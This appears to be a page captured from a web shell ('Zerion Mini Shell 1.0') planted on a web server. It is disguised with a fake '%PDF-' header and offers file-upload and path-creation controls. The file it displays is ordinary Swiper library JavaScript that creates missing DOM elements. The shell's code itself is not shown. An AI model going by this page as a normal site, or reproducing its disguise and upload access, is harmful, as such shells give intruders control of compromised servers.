%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/swiper/shared/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/swiper/shared/create-element-if-not-defined.js

import { getDocument } from 'ssr-window';
export default function createElementIfNotDefined(swiper, originalParams, params, checkProps) {
  const document = getDocument();

  if (swiper.params.createElements) {
    Object.keys(checkProps).forEach(key => {
      if (!params[key] && params.auto === true) {
        let element = swiper.$el.children(`.${checkProps[key]}`)[0];

        if (!element) {
          element = document.createElement('div');
          element.className = checkProps[key];
          swiper.$el.append(element);
        }

        params[key] = element;
        originalParams[key] = element;
      }
    });
  }

  return params;
}

Zerion Mini Shell 1.0